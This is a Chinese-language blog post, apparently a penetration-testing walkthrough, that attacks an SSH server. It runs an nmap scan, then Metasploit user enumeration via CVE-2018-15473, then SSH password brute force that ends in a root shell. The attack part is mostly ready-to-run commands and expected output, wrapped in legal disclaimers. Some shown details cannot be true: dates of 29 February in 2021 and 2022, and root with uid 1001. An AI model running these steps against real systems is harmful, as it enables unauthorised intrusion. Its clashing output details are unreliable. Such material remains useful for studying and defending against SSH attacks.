警告
请勿将本文提到的任何技术用于非法用途。
请遵守《中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》和/或当地其他相关法律法规。
本文作者在进行试验时已获得省级相关部门和作者单位相关部门的批准。
特别提示
重要:在执行本文的任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。
重要:执行本文的部分或全部命令有能违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。
请充分考虑再决定是否阅读本文。
协议
特别说明: 本文按“原样”提供,不做任何明示或暗示的担保,包括但不限于对适用性、正确性、使用情景合法性的担保。在和任何情况下,作者均不对读者使用本文提及的内容造成的结果进行赔偿或承担任何责任。
本作品采用 知识共享署名-禁止演绎 4.0 国际许可协议 进行许可。(CC-BY-ND 4.0)
当 CSDN 平台提供的版权协议与本协议 (CC-BY-ND 4.0) 不一致时,以本协议为准。
Copyright © 2022, 还没想好昵称的新建p
特别说明: 在转载时,禁止对本文的任何内容进行修改。
特别说明: “警告”和“协议”的全部内容应该按原样包含在本文的所有转载副本内容中。
如果您不同意协议中的任何一项,请勿继续阅读或转载,并关闭此页面。
环境和约定
本文依据例行网络安全监测监测的真实案例改编。
我们约定,除非另有说明,本文所提及的攻击者和受害者 (靶机) 的 IP 地址和版本信息如下。
攻击者: localhost, Kali Linux + Windows 10, metasploit/6.1.27, nmap/7.91
受害者: 192.168.1.100, 推理操作系统 Linux (93%), 未能精确匹配操作系统信息
为保护隐私,本文提到的 IP 地址等为虚拟。
通过 OpenBSD 的 OpenSSH 存在的用户枚举漏洞,枚举服务器存在的用户,进而爆破。
NVD | CNNVD | 漏洞中文名称 |
---|---|---|
CVE-2018-15473 | CNNVD-201808-536 | OpenSSH 竞争条件问题漏洞 |
CVE-2016-6210 | CNNVD-201607-1067 | OpenSSH 信息泄露漏洞 |
CVE-1999-0502 | CNNVD-199803-001 | Unix账户漏洞 |
OpenSSH 7.7 及之前版本中存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。
OpenSSH 用户枚举漏洞。SSH 守护进程允许用户进行身份验证时的时间差进行用户枚举。
Unix 账户存在默认、空、空白或丢失密码漏洞。
通过如下命令对受害者扫描,得到开放端口、版本、操作系统推理等信息。
nmap -A 192.168.1.100
通过观察如下结果,可知受害者开放 22 端口,服务为 SSH,版本 OpenSSH/4.3 脆弱。
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-29 02:33 China Standard Time
Nmap scan report for 192.168.1.100
Host is up (0.041s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 de:ad:be:ef:de:ad:be:ef:de:ad:be:ef:de:ad:be:ef (DSA)
|_ 2048 de:ad:be:ef:de:ad:be:ef:de:ad:be:ef:de:ad:be:ef (RSA)
Aggressive OS guesses: Linux (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 17.00 ms 192.168.0.1
2 18.00 ms 192.168.1.1
3 32.00 ms 192.168.1.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds
msfconsole
进入 msfconsole 后,将看到启动文字界面和 msf6 >
。依次输入以下内容
扫描用户时利用 CVE-2018-15473 和 CVE-2016-6210 漏洞。
使用
msf6 > search cve:2018-15473
或
msf6 > search cve:2016-6210
均可搜到
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/ssh/ssh_enumusers normal No SSH Username Enumeration
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ssh/ssh_enumusers
使用如下命令选择此 Auxiliary。
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
使用如下命令查看该 Auxiliary 信息。
msf6 auxiliary(scanner/ssh/ssh_enumusers) > show info
使用如下命令设置 rhosts
。
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.1.100
将得到如下提示:rhosts => 192.168.1.100
使用如下命令设置 user_file
。
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file usr/share/wordlists/metasploit/piata_ssh_userpass.txt
将得到如下提示:user_file => /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
警告
在执行任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。
特别提示:执行此命令有违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。
请充分考虑再决定是否继续。
设置参数后便可攻击受害者(亦可使用 run
)。
exploit
通常,将看到如下结果。
[*] 192.168.1.100:22 - SSH - Using malformed packet technique
[*] 192.168.1.100:22 - SSH - Starting scan
[+] 192.168.1.100:22 - SSH - User ‘root’ found
[+] (省略一些记录)
[+] 192.168.1.100:22 - SSH - User ‘root’ found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
如果出现如下错误,请尝试更换版本。
[-] Auxiliary aborted due to failure: bad-config: Please populate DB_ALL_USERS, USER_FILE, USERNAME
[*] Auxiliary module execution completed
爆破口令时利用 CVE-1999-0502 漏洞。
使用如下命令选择 Auxiliary。
msf6 > use auxiliary/scanner/ssh/ssh_login
使用如下命令查看该 Auxiliary 信息。
msf6 auxiliary(scanner/ssh/ssh_login) > show info
使用如下命令设置 rhosts
。
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.100
将得到如下提示:rhosts => 192.168.1.100
请使用 set … …
命令妥善设置用户名、字典等,在此不作赘述。
警告
在执行任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。
特别提示:执行此命令有违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。
请充分考虑再决定是否继续。
设置参数后便可攻击受害者(亦可使用 run
)。
exploit
通常,将看到如下结果。
[+] 192.168.1.100:22 - Success: ‘root:root’ ‘uid=1001(root) gid=1001(root) groups=1001(root) Linux metasploitable 6.1.27-dev-server #1 SMP Thu Feb 29 23:33:00 UTC 2021 i686 GNU/Linux’
[*] Command shell session 1 opened (127.0.0.1:23333 -> 192.168.1.100:22) at 2021-02-29 23:33:00 +0800
如果出现如下信息,请尝试更换字典。
[*] 192.168.1.100:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
至此,渗透完成。
敬告
本文作者并不对上述防护措施有效性做任何担保。